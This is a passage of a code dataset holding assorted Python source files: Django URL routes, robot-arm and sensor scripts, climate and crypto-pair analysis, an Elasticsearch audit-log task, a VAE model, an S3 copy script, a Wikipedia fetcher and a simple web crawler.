name=\"serviceprovider-list\"),\n    path(\"admin/<int:pk>/\", admin_list, name=\"admin-list\"),\n    path(\"attribute/<int:pk>/\", attribute_list, name=\"attribute-list\"),\n    path(\"attribute/list/\", attribute_admin_list, name=\"attribute-admin-list\"),\n    path(\"attribute/view/<int:pk>/\", attribute_view, name=\"attribute-view\"),\n    path(\"certificate/<int:pk>/\", certificate_list, name=\"certificate-list\"),\n    path(\"certificate/info/<int:pk>/\", certificate_info, name=\"certificate-info\"),\n    path(\"certificate/list/\", certificate_admin_list, name=\"certificate-admin-list\"),\n    path(\"contact/<int:pk>/\", contact_list, name=\"contact-list\"),\n    path(\"endpoint/<int:pk>/\", endpoint_list, name=\"endpoint-list\"),\n    path(\"email/\", email_list, name=\"email-list\"),\n    path(\"metadata/import/\", metadata_import, name=\"metadata-import\"),\n    path(\"metadata/manage/saml/\", metadata_management, {\"service_type\": \"saml\"}, name=\"metadata-manage-saml\"),\n    path(\"metadata/manage/ldap/\", metadata_management, {\"service_type\": \"ldap\"}, name=\"metadata-manage-ldap\"),\n    path(\"metadata/manage/oidc/\", metadata_management, {\"service_type\": \"oidc\"}, name=\"metadata-manage-oidc\"),\n    path(\"metadata/<int:pk>/\", metadata, name=\"metadata-view\"),\n    path(\"redirecturi/<int:pk>/\", redirecturi_list, name=\"redirecturi-list\"),\n    path(\n        \"technical/<int:pk>/\",\n        login_required(SamlTechnicalInformationUpdate.as_view()),\n        name=\"technical-update\",\n    ),\n    path(\n        \"ldap/<int:pk>/\",\n        login_required(LdapTechnicalInformationUpdate.as_view()),\n        name=\"ldap-technical-update\",\n    ),\n    path(\n        \"oidc/<int:pk>/\",\n        login_required(OidcTechnicalInformationUpdate.as_view()),\n        name=\"oidc-technical-update\",\n    ),\n    path(\n        \"serviceprovider/add/saml/\",\n        login_required(SamlServiceProviderCreate.as_view()),\n        name=\"saml-serviceprovider-add\",\n    ),\n    path(\n        \"serviceprovider/add/ldap/\",\n        login_required(LdapServiceProviderCreate.as_view()),\n        name=\"ldap-serviceprovider-add\",\n    ),\n    path(\n        \"serviceprovider/add/oidc/\",\n        login_required(OidcServiceProviderCreate.as_view()),\n        name=\"oidc-serviceprovider-add\",\n    ),\n    path(\n        \"serviceprovider/remove/<int:pk>/\",\n        login_required(ServiceProviderDelete.as_view()),\n        name=\"serviceprovider-delete\",\n    ),\n    path(\n        \"serviceprovider/<int:pk>/\",\n        login_required(BasicInformationUpdate.as_view()),\n        name=\"basicinformation-update\",\n    ),\n    path(\"saml_admin_list/\", login_required(SAMLAdminList.as_view()), name=\"saml-admin-list\"),\n    path(\"statistics/summary/\", statistics_summary_list, name=\"statistics-summary-list\"),\n    path(\"statistics/<int:pk>/\", statistics_list, name=\"statistics-list\"),\n    path(\"summary/<int:pk>/\", login_required(BasicInformationView.as_view()), name=\"summary-view\"),\n    path(\"testuser/<int:pk>/\", testuser_list, name=\"testuser-list\"),\n    path(\"testuser/data/<int:pk>/\", testuser_attribute_data, name=\"testuser-attribute-data\"),\n    path(\"usergroup/<int:pk>/\", usergroup_list, name=\"usergroup-list\"),\n    path(\"invite/\", activate_key, name=\"invite-activate\"),\n    path(\"invite/<slug:invite_key>/\", activate_key, name=\"invite-activate-key\"),\n    path(\"error/\", sp_error, name=\"error\"),\n    path(\"\", include(\"django.contrib.auth.urls\")),\n    path(\"i18n/\", include(\"django.conf.urls.i18n\")),\n]\n","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":6324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"104987721","text":"# -*- coding: utf-8 -*-\n# @Time    : 2017/12/14 23:33\n# @Author  : play4fun\n# @File    : t1.py\n# @Software: PyCharm\n\n\"\"\"\nt1.py:\n\"\"\"\nfrom time import sleep\nfrom uf.wrapper.swift_api import SwiftAPI\nfrom uf.utils.log import *\n\nlogger_init(logging.VERBOSE)\n# logger_init(logging.DEBUG)\n# logger_init(logging.INFO)\n\nprint('setup swift ...')\n\n# swift = SwiftAPI(dev_port = '/dev/ttyACM0')\n# swift = SwiftAPI(filters = {'hwid': 'USB VID:PID=2341:0042'})\nswift = SwiftAPI()  # default by filters: {'hwid': 'USB VID:PID=2341:0042'}\nprint('sleep 2 sec ...')\nsleep(2)\n\nprint('device info: ')\nprint(swift.get_device_info())\nsleep(2)\n# swift.reset()\nswift.set_position(x=300, wait=True)\nsleep(3)\nprint(swift.get_position())\nsleep(3)\nswift.set_position(y=0, wait=True)\nsleep(3)\n\n# swift.set_position(x=200,y=0, z=45, wait=True)\nswift.set_position(z=85, wait=True)\nsleep(2)\nfor x in range(0, 180,30):\n    swift.set_wrist(angle=x, wait=True)\n    sleep(0.2)\nswift.set_wrist(angle=90, wait=True)\nswift.set_buzzer()\nsleep(2)\nswift.set_position(x=300, y=0, z=110, wait=True)\n\n#\nswift.set_position(x=330, y=0, z=85, wait=True)\nsleep(2)\nfor x in range(0, 180,30):\n    swift.set_wrist(angle=x, wait=True)\n    sleep(0.2)\nswift.set_wrist(angle=90, wait=True)\nswift.set_buzzer()\nsleep(2)\n\nprint('finished')\ntry:\n    while True:\n        sleep(1)\nexcept KeyboardInterrupt as e:\n    print('KeyboardInterrupt',e)\nfinally:\n    swift.reset()\n","sub_path":"毛笔字/t1.py","file_name":"t1.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"363828266","text":"import RPi.GPIO as GPIO\nimport time\nimport threading\n\n\n\nFL_TRIG = 20\nFL_ECHO = 11\nFC_TRIG = 26\nFC_ECHO = 8\nFR_TRIG = 21\nFR_ECHO = 7\n\nclass sonicSensor(object):\n    \n    def __init__(self,trig,echo):\n        self.trig = trig\n        self.echo = echo\n        self.last_range = 0\n        GPIO.setup(self.trig, GPIO.OUT)\n        GPIO.setup(self.echo, GPIO.IN)\n        GPIO.output(self.trig, False)\n    \n    def get_range(self):\n        if(self.trig < 0 or self.echo < 0):\n            return -1\n        GPIO.output(self.trig, True)\n        time.sleep(0.000001)\n        GPIO.output(self.trig,False)\n        trig_end = time.time()\n\n        pulse_start = time.time()\n        pulse_end = 0\n        \n        #Wait for first instance of echo. Time out after 0.001 seconds\n        while GPIO.input(self.echo) == 0 and pulse_start-trig_end < 0.001:\n            pulse_start = time.time()\n            pulse_end = time.time()\n            \n        while GPIO.input(self.echo) == 1:\n            pulse_end = time.time()\n\n    \n        pulse_duration = pulse_end-pulse_start\n        distance = pulse_duration * 17000\n        \n        self.last_range = distance\n        return round(distance,2)\n\nclass SensorArray(object):\n    \n    def __init__(self):\n        GPIO.setmode(GPIO.BCM)\n        self.FL = sonicSensor(FL_TRIG,FL_ECHO)\n        self.FC = sonicSensor(FC_TRIG,FC_ECHO)\n        self.FR = sonicSensor(FR_TRIG,FR_ECHO)\n        self.is_on = False\n        self.thread = threading.Thread(target = self.Fire)\n        \n    def Fire(self):\n        while self.is_on:\n            time.sleep(0.1)\n            self.FC.get_range()\n            time.sleep(0.1)\n            self.FR.get_range()\n            time.sleep(0.1)\n            self.FL.get_range()\n            \n    def start(self):\n        self.is_on = True\n        self.thread.start()\n    \n    def stop(self):\n        self.is_on = False\n","sub_path":"Classes/Sensors.py","file_name":"Sensors.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"193563117","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 26 09:37:34 2015\n\n@author: z1s\n\"\"\"\n\nimport sys\nsys.path.append('/home/z1s/PythonScripts')\nimport binfile_io as fio\nimport amgrid as grid\nfrom scipy.io import netcdf as nc\nimport numpy as np\nimport calendar\nimport matplotlib.pyplot as plt\n\nCp = 1004.64\nLe = 2.500e6\ng = 9.80\nRair = 287.04\nRad = 6371.0e3\n\nbasedir = '/archive/Zhaoyi.Shen/ulm_201510/'\noutdir = '/home/z1s/research/nonlinearity/analysis/npz/1yr/'\nexper = 'imr_t42_'\npert = ['control','2xCO2','m2c40w30','2xCO2+m2c40w30']\nperto = ['ctrl','CO2','m2c40w30','CO2+m2c40w30']\nplat = '/gfdl.ncrc3-default-prod/'\ndiag = 'atmos_level'\ndiago = 'var2d'\nvar = 't_surf'\nvaro = 'tsfc'\nnpert = np.size(pert)\n#npert = 1\nfor i in range(npert):\n    atmdir = basedir+exper+pert[i]+plat+'pp/'+diag+'/'\n    stafile = atmdir+diag+'.static.nc'\n    fs = []\n    fs.append(nc.netcdf_file(stafile,'r',mmap=True))\n    bk = fs[-1].variables['bk'][:].astype(np.float64)\n    pk = fs[-1].variables['pk'][:].astype(np.float64)\n    lat = fs[-1].variables['lat'][:].astype(np.float64)\n    lon = fs[-1].variables['lon'][:].astype(np.float64)\n    phalf = fs[-1].variables['phalf'][:].astype(np.float64)\n    zsurf = fs[-1].variables['zsurf'][:].astype(np.float64)\n    fs[-1].close()\n    nlat = np.size(lat)\n    nlon = np.size(lon)\n    nphalf = np.size(phalf)\n    #%%\n    filedir = atmdir+'ts/daily/1yr/'\n    yr = np.arange(1,10,1)\n    nyr = np.size(yr)\n    data = np.zeros([nyr,nphalf-1,nlat])\n    #tmpZon = np.zeros([nmon,nlev-1,nlat])\n    #phalfZon = np.zeros([nmon,nlev,nlat])\n    for yri in range(nyr):\n        yrC = '000'+str(yr[yri])+'0101-'+'000'+str(yr[yri])+'1231.'\n        filename = filedir+diag+'.'+yrC+var+'.nc'\n        fs.append(nc.netcdf_file(filename,'r',mmap=True))\n        #pfull = fs[-1].variables['pfull'][:].astype(np.float64)\n        tmp = fs[-1].variables[var][:].astype(np.float64) #t,p,lat,lon\n        #tmp[np.where(tmp<-999)] = np.nan\n        tmp = np.mean(tmp,3)\n        data[yri,:,:] = np.mean(tmp,0)\n        fs[-1].close()\n    #%%\n    #outfile = outdir+'dim.'+perto[i]+'_sigma.npz'\n    #fio.save(outfile,lat=lat,lon=lon,phalf=phalf,pfull=pfull)\n    outfile = outdir+diago+'.'+perto[i]+'_sigma.npz'\n    fio.save(outfile,**{varo:data})\n    \n","sub_path":"driver/calc_var2d_ts_1yr.py","file_name":"calc_var2d_ts_1yr.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"17255222","text":"import sys\r\nsys.path.append(\"..\")\r\nclass CurrencyPair:\r\n\r\n    @classmethod\r\n    def get_all_currency_pairs(cls, market, account=None, user_id=None):\r\n        market=str(market).lower()\r\n        if market=='digifinex':\r\n            from packages import digifinex as DIGIFINEX\r\n            digifinex=DIGIFINEX.DigiFinex(account)\r\n            tickers=digifinex.ticker()\r\n            # 在digiFinex返回的tickers数据结构里，每个项的vol字段的值指的是base的成交量，而不是reference的成交量，所以首先要变成reference成交量\r\n            currency_pairs={\r\n                'usdt':[],\r\n                'btc':[],\r\n                'usdt2':[],\r\n                'eth':[],\r\n                'dft':[]\r\n            }\r\n            # currency_pairs_in_reference_of_btc=[]\r\n            # currency_pairs_in_reference_of_usdt = []\r\n            # currency_pairs_in_reference_of_usdt2 = []\r\n            # currency_pairs_in_reference_of_eth = []\r\n            # currency_pairs_in_reference_of_dft = []\r\n            for item in dict(tickers).keys():\r\n                base=str(item).split('_')[1]\r\n                reference=str(item).split('_')[0]\r\n                currency_pair=CurrencyPair(base,reference)\r\n                vol=tickers[item]['vol']*tickers[item]['last']\r\n                currency_pairs[reference].append({\r\n                    'currency_pair':currency_pair,\r\n                    'vol':vol,\r\n                    'reference':reference\r\n                })\r\n            #     sorted(x, key=lambda x : x['name'], reverse=True)\r\n            for item in currency_pairs.keys():\r\n                currency_pairs[item]=sorted(currency_pairs[item], key=lambda x : x['vol'], reverse=True)\r\n        if market=='aex':\r\n            from packages import aex as AEX\r\n            aex=AEX.AEX(account, user_id)\r\n            tickers={}\r\n            tickers['cny']=aex.ticker(CurrencyPair('all','cny'),True)\r\n            tickers['usdt']=aex.ticker(CurrencyPair('all','usdt'),True)\r\n            # 在digiFinex返回的tickers数据结构里，每个项的vol字段的值指的是base的成交量，而不是reference的成交量，所以首先要变成reference成交量\r\n            _tickers={}\r\n            for key1 in tickers.keys():\r\n                for key2 in tickers[key1]:\r\n                    if key1+'_'+key2=='usdt_tusd' or key1+'_'+key2=='usdt_pax':\r\n                        continue\r\n                    _tickers[key1+'_'+key2]=tickers[key1][key2]['ticker']\r\n            tickers=_tickers\r\n            currency_pairs={\r\n                'usdt':[],\r\n                'cny':[]\r\n            }\r\n            for item in dict(tickers).keys():\r\n                base=str(item).split('_')[1]\r\n                reference=str(item).split('_')[0]\r\n                currency_pair=CurrencyPair(base,reference)\r\n                vol=tickers[item]['vol']*tickers[item]['last']\r\n                currency_pairs[reference].append({\r\n                    'currency_pair':currency_pair,\r\n                    'vol':vol,\r\n                    'reference':reference\r\n                })\r\n            #     sorted(x, key=lambda x : x['name'], reverse=True)\r\n            for item in currency_pairs.keys():\r\n                currency_pairs[item]=sorted(currency_pairs[item], key=lambda x : x['vol'], reverse=True)\r\n        return currency_pairs\r\n\r\n    @classmethod\r\n    def get_top_n_currency_pairs_adjusted_by_vol(cls,market, account=None, top_n=5, user_id=None):\r\n        currency_pairs=CurrencyPair.get_all_currency_pairs(market,account, user_id)\r\n        for item in currency_pairs.keys():\r\n            currency_pairs[item]=currency_pairs[item][:top_n]\r\n        return currency_pairs\r\n\r\n    @classmethod\r\n    def find_triangle_arbitragable_currency_pairs(cls,market, account=None, top_n=5, user_id=None):\r\n        currency_pairs=CurrencyPair.get_top_n_currency_pairs_adjusted_by_vol(market,account,top_n, user_id)\r\n        arbitragable_keypairs=[]\r\n        _currency_pairs=[]\r\n        for item in currency_pairs.keys():\r\n            for item2 in currency_pairs[item]:\r\n                _currency_pairs.append(item2['currency_pair'])\r\n        for i in range(0,len(_currency_pairs)):\r\n            cp1=_currency_pairs[i]\r\n            for j in range(i+1,len(_currency_pairs)):\r\n                cp2=_currency_pairs[j]\r\n                for k in range(j+1,len(_currency_pairs)):\r\n                    cp3=_currency_pairs[k]\r\n                    currencies=[]\r\n                    currencies.append(cp1.base)\r\n                    currencies.append(cp1.reference)\r\n                    currencies.append(cp2.base)\r\n                    currencies.append(cp2.reference)\r\n                    currencies.append(cp3.base)\r\n                    currencies.append(cp3.reference)\r\n                    distinctive_currencies=list(set(currencies))\r\n                    if currencies.count(distinctive_currencies[0])==2 and currencies.count(distinctive_currencies[1])==2 and currencies.count(distinctive_currencies[2])==2:\r\n                        arbitragable_keypairs.append([cp1,cp2,cp3])\r\n\r\n        a=1\r\n        return arbitragable_keypairs\r\n\r\n\r\n    def __init__(self,base='btc', reference='usdt'):\r\n        self.base=base\r\n        self.reference=reference\r\n\r\n    def subtract(self, other):\r\n        if other==self.base:\r\n            return self.reference\r\n        if other==self.reference:\r\n            return self.base\r\n        else:\r\n            return None\r\n\r\n    def equals(self, other):\r\n        if self.base==other.base and self.reference==other.reference:\r\n            return True\r\n        else:\r\n            return False\r\n\r\n    def contains(self, currency):\r\n        if self.base==currency or self.reference==currency:\r\n            return True\r\n        else:\r\n            return False\r\n\r\n    def toString(self):\r\n        return self.base+'_'+self.reference\r\n\r\n    def get_currency_pair(self):\r\n        return self.base+'_'+self.reference\r\n\r\n    def get_referencial_currencies(self, market):\r\n        market=str(market).lower()\r\n        if market==\"okex\":\r\n            return [\"btc\",\"usdt\",\"eth\",\"bch\"]\r\n        elif market==\"chbtc\" or market==\"zb\":\r\n            pass\r\n        elif market==\"???\":\r\n            pass\r\n        else:\r\n            pass\r\n\r\n    def get_referencial_currency(self, string):\r\n        try:\r\n            reference=str(string).split(\"_\")[1]\r\n        except Exception as e:\r\n            reference=None\r\n        return reference\r\n\r\n    def get_base_currency(self, string):\r\n        try:\r\n            reference=str(string).split(\"_\")[0]\r\n        except Exception as e:\r\n            reference=None\r\n        return reference\r\n\r\nclass Currency:\r\n\r\n    def __init__(self, name):\r\n        self.name=name","sub_path":"packages/currency_pair.py","file_name":"currency_pair.py","file_ext":"py","file_size_in_byte":6689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"258648862","text":"def expand_array(a):\n    alphas = [x for x in a if x.isalpha()]\n    nums = []\n\n    x = 1\n\n    while x < len(a):\n        if a[x].isnumeric() and a[x - 1].isnumeric():\n            nums[-1] += a[x]\n        elif a[x].isnumeric():\n            nums.append(a[x])\n\n        x+=1\n\n    print(\"\".join([alphas[i] * int(nums[i]) for i in range(len(alphas))]))\n\nexpand_array(\"a3b1c1d1e4f0g11\")","sub_path":"expand-array.py","file_name":"expand-array.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"583750359","text":"import logging\nfrom datetime import timedelta\n\nfrom django.conf import settings\nfrom django.utils import timezone\nfrom elasticsearch import Elasticsearch\n\nfrom shared.audit_log.models import AuditLogEntry\n\nES_STATUS_CREATED = \"created\"\nLOGGER = logging.getLogger(__name__)\n\n\ndef send_audit_log_to_elastic_search():\n    if not (\n        settings.ELASTICSEARCH_CLOUD_ID\n        and settings.ELASTICSEARCH_API_ID\n        and settings.ELASTICSEARCH_API_KEY\n    ):\n        LOGGER.warning(\n            \"Trying to send audit log to Elasticsearch without proper configuration, process skipped\"\n        )\n        return\n    es = Elasticsearch(\n        cloud_id=settings.ELASTICSEARCH_CLOUD_ID,\n        api_key=(settings.ELASTICSEARCH_API_ID, settings.ELASTICSEARCH_API_KEY),\n    )\n    entries = AuditLogEntry.objects.filter(is_sent=False).order_by(\"created_at\")\n\n    for entry in entries:\n        rs = es.index(\n            index=settings.ELASTICSEARCH_APP_AUDIT_LOG_INDEX,\n            id=entry.id,\n            body=entry.message,\n        )\n        if rs.get(\"result\") == ES_STATUS_CREATED:\n            entry.is_sent = True\n            entry.save()\n\n\ndef clear_audit_log_entries(days_to_keep=30):\n    # Only remove entries older than `X` days\n    sent_entries = AuditLogEntry.objects.filter(\n        is_sent=True, created_at__lte=(timezone.now() - timedelta(days=days_to_keep))\n    )\n    sent_entries.delete()\n","sub_path":"backend/shared/shared/audit_log/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"523853035","text":"from torch import optim, nn\n\nfrom ..models.model import Model\nfrom ..utils import tolist\nfrom ..losses import StochasticReconstructionLoss\n\n\nclass VAE(Model):\n    \"\"\"\n    Variational Autoencoder\n\n    [Kingma+ 2013] Auto-Encoding Variational Bayes\n    \"\"\"\n    def __init__(self, encoder, decoder,\n                 other_distributions=[],\n                 regularizer=[],\n                 optimizer=optim.Adam,\n                 optimizer_params={}):\n\n        # set distributions (for training)\n        distributions = [encoder, decoder] + tolist(other_distributions)\n\n        # set losses\n        reconstruction =\\\n            StochasticReconstructionLoss(encoder, decoder)\n        loss = (reconstruction + regularizer).mean()\n\n        super().__init__(loss, test_loss=loss,\n                         distributions=distributions,\n                         optimizer=optimizer, optimizer_params=optimizer_params)\n\n    def train(self, train_x={}, **kwargs):\n        return super().train(train_x, **kwargs)\n\n    def test(self, test_x={}, **kwargs):\n        return super().test(test_x, **kwargs)\n","sub_path":"pixyz/models/vae.py","file_name":"vae.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"596490870","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom multiprocessing import Process, Queue, JoinableQueue, cpu_count\nimport sys\nimport os\n\nfrom ElProduction import ExclusiveElProduction, DynamicScaleFactors\nimport Util\n\n# compute all data points\nclass ExclusiveRunner:\n\t__qIn = JoinableQueue()\n\t__qOut = Queue()\n\tdef add(self,e):\n\t\t\"\"\"\n\t\tadds an element\n\t\t@param e element\n\t\t\"\"\"\n\t\tself.__qIn.put(e)\n\tdef run(self,nProcesses = cpu_count()):\n\t\t\"\"\"\n\t\tcomputes all elements\n\t\t@param nProcesses number of parallel threads\n\t\t\"\"\"\n\t\t# add EOF\n\t\tlenParams = self.__qIn.qsize()\n\t\tfor n in xrange(nProcesses):\n\t\t\tself.__qIn.put(None)\n\t\t# setup PDFs\n\t\tUtil.setupPDFs()\n\t\t# start processes\n\t\tthreadArgs = (self.__qIn, self.__qOut)\n\t\tprocesses = []\n\t\tfor j in xrange(nProcesses):\n\t\t\tprocesses.append(Process(target=_threadWorker, args=threadArgs))\n\t\t[p.start() for p in processes]\n\t\t# run\n\t\ttry:\n\t\t\tself.__qIn.join()\n\t\texcept KeyboardInterrupt:\n\t\t\t[p.terminate() for p in processes]\n\t\t\tprint\n\t\t\tUtil.pWarn(\"aborting at %d/%d\"%((lenParams-self.__qIn.qsize()),lenParams))\n\t\t\tself.__qIn.close()\n\t\tself.__qIn.close()\n\t\t# remap\n\t\tlOut = []\n\t\tfor j in xrange(lenParams):\n\t\t\tlOut.append(self.__qOut.get())\n\t\tself.__qOut.close()\n\t\treturn lOut\n\n# thread worker\ndef _threadWorker(qIn, qOut):\n\twhile True:\n\t\t# get\n\t\tp = qIn.get()\n\t\tif None == p: # EOF?\n\t\t\tqIn.task_done()\n\t\t\tbreak\n\t\t# setup\n\t\to = ExclusiveElProduction(*p[\"objArgs\"])\n\t\to.setPdf(*p[\"pdf\"])\n\t\to.setLambdaQCD(p[\"lambdaQCD\"])\n\t\tif p.has_key(\"mu2\"):  o.setMu2 (DynamicScaleFactors(*p[\"mu2\"]))\n\t\tif p.has_key(\"muR2\"): o.setMuR2(DynamicScaleFactors(*p[\"muR2\"]))\n\t\tif p.has_key(\"muF2\"): o.setMuF2(DynamicScaleFactors(*p[\"muF2\"]))\n\t\tif p.has_key(\"bjorkenX\"):  o.setBjorkenX(p[\"bjorkenX\"])\n\t\tif p.has_key(\"hadronicS\"): o.setHadronicS(p[\"hadronicS\"])\n\t\tif p.has_key(\"activatedHistograms\"):\n\t\t\tfor e in p[\"activatedHistograms\"]:\n\t\t\t\to.activateHistogram(*e)\n\t\tif p.has_key(\"calls\"): \t\to.MCparams.calls = p[\"calls\"]\n\t\tif p.has_key(\"iterations\"): \to.MCparams.iterations = p[\"iterations\"]\n\t\tif p.has_key(\"bins\"): \t\to.MCparams.bins = p[\"bins\"]\n\t\tif p.has_key(\"adaptChi2\"): \to.MCparams.adaptChi2 = p[\"adaptChi2\"]\n\t\tif p.has_key(\"verbosity\"): \to.MCparams.verbosity = p[\"verbosity\"]\n\t\t# run\n\t\tp[\"res\"] = o.F(p[\"orderFlag\"],p[\"channelFlag\"])\n\t\tqOut.put(p)\n\t\tqIn.task_done()\n\t\tif p.has_key(\"msg\"): Util.pSucc(p[\"msg\"])\n","sub_path":"py/ExclusiveRunner.py","file_name":"ExclusiveRunner.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"29747784","text":"#! /home/tony/anaconda3/bin/python\nimport subprocess\nimport os.path\nfrom pprint import pprint\nimport time\n\nbucketIn = 's3://ga-odc-eros-cog-west/'\nbucketOut = 's3://ga-odc-eros-archive-west/'\n\nhomeDir='/home/ubuntu'\n\nBigcnt=0\nBigtime1 = 0;\nBigtime0 = time.time()\n\n\ndef subprocess_cmd(command):\n    process = subprocess.Popen(command,stdout=subprocess.PIPE, shell=True)\n    proc_stdout = process.communicate()[0].strip()\n    stupidBytesObject = proc_stdout\n    outStr = (stupidBytesObject.decode(\"utf-8\"))\n    print(outStr)\n    return(outStr)\n\ndef s3CopyFile(fromfile, tofile):\n\tprint (\"hello from s3CopyFile copying file \" + fromfile)\n\tinfile = \"'\" + bucketIn + fromfile + \"'\"\n\toutfile = \"'\" + bucketOut + tofile + \"'\"\n\tpushcmd = \"aws s3 cp %s %s\" % (infile, outfile)\n\tprint (pushcmd)\n\tsubprocess_cmd(pushcmd)\n\ndef mkFileName(filename, prefix, extension):\n   a = filename.split('/')\n   cell = a[0]\n   file = a[1]\n   dir = file.split('.xml')[0]\n   file = dir + ext\n   subdirs =  \"%s/%s/%s/\" % (cell,dir,prefix)\n   print (subdirs)\n   root= 'exp/'\n   fullDir=root + subdirs + file\n   print (fullDir)\n   return(fullDir)\n\ndef tarFileName(xmlFile, extension):\n   file = xmlFile.split('.xml')[0] + extension\n   return(file)\n\n\n# get the file list\n\nfileExtensions = ['.tif', '.xml']\n\n\ns3CopyFile(fromfile=\"AAlist.html\", tofile=\"AAlist.html\")\nmyfile = \"./cogxml.txt\"\n#myfile = \"./singlexml.txt\"\nwith open(myfile) as f:\n    for line in f:\n        line = line.rstrip()\n        #print (line)\n        a = line.split('h03v03/')\n        id = 'h03v03/' + a[1]\n        print (id)\n        for ext in fileExtensions:\n           pre = 'TIF'\n           bucketFile = mkFileName(filename=id, prefix=pre, extension=ext)\n           #print(\"bucketFile is %s\" % bucketFile)\n           fromfile = id.split('.xml')[0] + ext\n           s3CopyFile(fromfile=fromfile, tofile=bucketFile)\n           Bigcnt = Bigcnt + 1\n           print (\"BIGCNT = %d\" % Bigcnt)\n\nBigtime1 = time.time()\n\nelapsed = Bigtime1 - Bigtime0\n\nprint (\"TOTAL Bucket loading time for these files took %.2f seconds\" % elapsed)\n\n","sub_path":"00proj/python/buntar/cptiff.py","file_name":"cptiff.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"493029713","text":"from rest_framework import serializers\n\nfrom babies.models import Baby\nfrom parents.serializers import ParentSerializer\n\n\nclass BabySerializer(serializers.ModelSerializer):\n\n    class Meta:\n        model = Baby\n        fields = (\n            'id',\n            'first_name',\n            'last_name',\n            'age',\n            'parent'\n        )","sub_path":"babies/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"473545428","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .tree import Tree, DeepCrawl\nfrom .observer import TreeNotifier\n\n\ndef tree(request):\n    if request.POST:\n        tree_notifier = TreeNotifier()\n        for i in range(1, 5):\n            tree_notifier.detach('Check' + str(i))\n        for i in range(1, 5):\n            if request.POST.get('Check' + str(i)) == 'on':\n                tree_notifier.attach('Check' + str(i))\n        answer = tree_notifier.createTree()\n        # for i in answer['clients']:\n        #     print(i)\n        return render(request, 'tree.html', answer)\n    return render(request, 'tree.html', {})","sub_path":"tree/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"442454787","text":"import sys\nimport requests\nimport logging\n\nimport defaults\n\nlogging.basicConfig(filename='wikiware.log',level=logging.DEBUG)\n\nlogger = logging.getLogger('wikiware-fetcher')\n\nclass WikiwareFetch(object):\n    \"\"\" Fetch content from Wikipedia \"\"\"\n\n    def __init__(self):\n        \"\"\" Mediawiki API query \"\"\"\n\n        self.user_agent = {\n            'User-agent': 'python-request-{}'.format(sys.version.split()[0]),\n        }\n\n        self.headers = self.user_agent\n\n    def fetch_api(self, title, format=\"json\"):\n        \"\"\" dump Wikipedia article \"\"\"\n\n        self.url = defaults.WIKIWARE_API_URL\n        self.params = {\n            'titles': title,\n            'format': format,\n            'action': 'query',\n            'prop': 'revisions',\n            'rvprop': 'content',\n            'redirects': '',\n        }\n\n        r = requests.get(self.url, params=self.params, headers=self.headers)\n        if r.status_code != requests.codes.ok:\n            logger.error('Fetch Failed: Title={0}, Status={1}'.format(title, r.status_code))\n            return ''\n\n        text = r.json()\n        try:\n            pages = text['query']['pages']\n        except:\n            logger.error('No pages returned: Title={0}, Status={1}'.format(title, r.status_code))\n            return ''\n        revision = ''\n        for page in pages:\n            try:\n                revision = pages[page]['revisions'][0]['*']\n            except:\n                pass\n            break\n\n        if not revision:\n            logger.error('No revisions found: Title={0}, Status={1}'.format(title, r.status_code))\n        return revision\n\n    def fetch_en(self, title, printable=True):\n        \"\"\" dump Wikipedia article in HTML \"\"\"\n\n        self.url = defaults.WIKIWARE_EN_URL\n        self.params = {\n            'title': title,\n            'printable': 'yes' if printable else 'no',\n        }\n        r = requests.get(self.url, params=self.params, headers=self.headers)\n        return r.text\n\n\n\n\n\n\n\n","sub_path":"wikiware/fetcher.py","file_name":"fetcher.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"631890242","text":"import sys\n\ndef get_page(url):\n    try:\n        import requests\n        r = requests.get(url)\n        return r.text\n    except:\n        return \"\"\n\ndef get_next_target(page):\n    start_link = page.find('href=')\n    if start_link == -1:\n        return None, 0\n    start_quote = page.find('\"', start_link)\n    end_quote = page.find('\"', start_quote + 1)\n    url = page[start_quote + 1:end_quote]\n    return url, end_quote\n\ndef union(p, q):\n    for e in q:\n        if e not in p:\n            p.append(e)\n\ndef get_all_links(page):\n    links = []\n    while True:\n        url, endpos = get_next_target(page)\n        if url:\n            links.append(url)\n            page = page[endpos:]\n        else:\n            break\n    return links\n\ndef crawl_web(seed, max_depth):\n    # seed : 一番最初の元となるページ\n    # tocrawl : クロールするページ\n    # crawled : クロールが終了したページ\n    tocrawl = [seed]\n    crawled = []\n    next_depth = []\n    depth = 0\n    while tocrawl and depth <= max_depth:\n        page = tocrawl.pop()\n        if page not in crawled:\n            union(next_depth, get_all_links(get_page(page)))\n            crawled.append(page)\n        if not tocrawl:\n            tocrawl, next_depth = next_depth, []\n            depth = depth + 